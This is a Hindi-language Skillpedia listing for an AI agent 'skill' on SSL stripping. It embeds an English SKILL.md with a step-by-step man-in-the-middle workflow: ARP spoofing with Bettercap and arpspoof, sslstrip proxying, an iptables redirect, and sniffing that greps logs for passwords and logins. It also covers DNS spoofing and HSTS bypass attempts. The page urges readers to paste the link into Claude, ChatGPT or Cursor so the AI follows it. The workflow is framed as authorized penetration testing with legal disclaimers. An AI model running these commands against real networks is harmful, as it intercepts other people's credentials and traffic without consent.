मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #8311

performing-ssl-stripping-attack

यह क्या करती है

यह एक ऐसे हमले की नकल (simulate) करता है जिसमें वेबसाइट को सुरक्षित HTTPS की जगह असुरक्षित HTTP वर्शन इस्तेमाल करने पर मजबूर किया जाता है। यह नियंत्रित (controlled) माहौल में वेबसाइट की सिक्योरिटी टेस्ट करने के लिए किया जाता है।

कब इस्तेमाल करें

  • ✓यह जाँचना कि वेबसाइट HTTPS इस्तेमाल करवाती है या नहीं।
  • ✓यह जाँचना कि HSTS सिक्योरिटी सेटिंग्स सही तरीके से लगी हैं या नहीं।
  • ✓दूसरों को सिक्योरिटी के खतरे दिखाने के लिए।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-ssl-stripping-attack/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-ssl-stripping-attack/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“टेस्ट लॉगिन वेबसाइट पर SSL stripping हमले की नकल करो।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

हमला संचार को बीच में रोकता है और सुरक्षित लिंक (HTTPS) को असुरक्षित लिंक (HTTP) से बदल देता है। यह ब्राउज़र को HTTP से कनेक्ट करने पर मजबूर करता है, भले ही साइट HTTPS पर redirect करने की कोशिश करे।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Performing SSL Stripping Attack

When to Use

  • Testing whether web applications properly enforce HTTPS through HSTS headers and redirect chains
  • Validating that HSTS preloading is correctly configured and registered in browser preload lists
  • Demonstrating the risk of cleartext HTTP to stakeholders during authorized security assessments
  • Assessing whether internal applications and thick clients validate TLS certificates and reject downgrades
  • Training SOC teams to detect SSL stripping indicators in network traffic

Do not use against networks or applications without explicit written authorization, to intercept real user credentials, or against production systems during business hours without change management approval.

Prerequisites

  • Written authorization specifying in-scope applications and approved attack techniques
  • Bettercap 2.x or sslstrip2 installed on the attacker machine
  • ARP spoofing or other MITM positioning established (see ARP spoofing skill)
  • IP forwarding enabled on the attacker machine
  • Wireshark for verifying attack success and capturing evidence
  • Test accounts (not real user credentials) for demonstrating credential interception

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Establish MITM Position

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &

Step 2: Execute SSL Stripping with Bettercap

# Start Bettercap with SSL stripping
sudo bettercap -iface eth0

# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on

# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on

# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on

# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time

Step 3: Execute SSL Stripping with sslstrip2

# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim

Step 4: Test HSTS Bypass Techniques

# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security

# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)

# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)

Step 5: Validate Detection and Controls

# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection

# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt


…
अक्सर पूछे जाने वाले सवाल

क्या मैं इसे किसी भी वेबसाइट पर इस्तेमाल कर सकता हूँ?

नहीं, इसे सिर्फ़ अधिकृत टेस्ट एनवायरनमेंट में, स्पष्ट अनुमति के साथ ही इस्तेमाल करें। बिना अनुमति इस्तेमाल करना गैरकानूनी है।

HSTS क्या है?

HSTS एक सिक्योरिटी नियम है जो ब्राउज़र को बताता है कि किसी खास वेबसाइट के लिए हमेशा HTTPS इस्तेमाल करे, जिससे 'SSL stripping' करना मुश्किल हो जाता है।

SSL stripping क्या है?

यह एक तरह का हमला है जिसमें हमलावर सुरक्षित कनेक्शन (HTTPS) को असुरक्षित (HTTP) बनाने पर मजबूर करता है, ताकि वह डेटा देख सके।

जानकारी

लेखक का मूल विवरण

Simulates SSL stripping / HTTPS downgrade attacks using sslstrip, Bettercap, and mitmproxy in authorized lab environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms. Use when performing an authorized penetration test to validate HSTS preloading and TLS certificate handling, demonstrate downgrade-attack risk to stakeholders, or train SOC teams to detect SSL strip

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8311
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills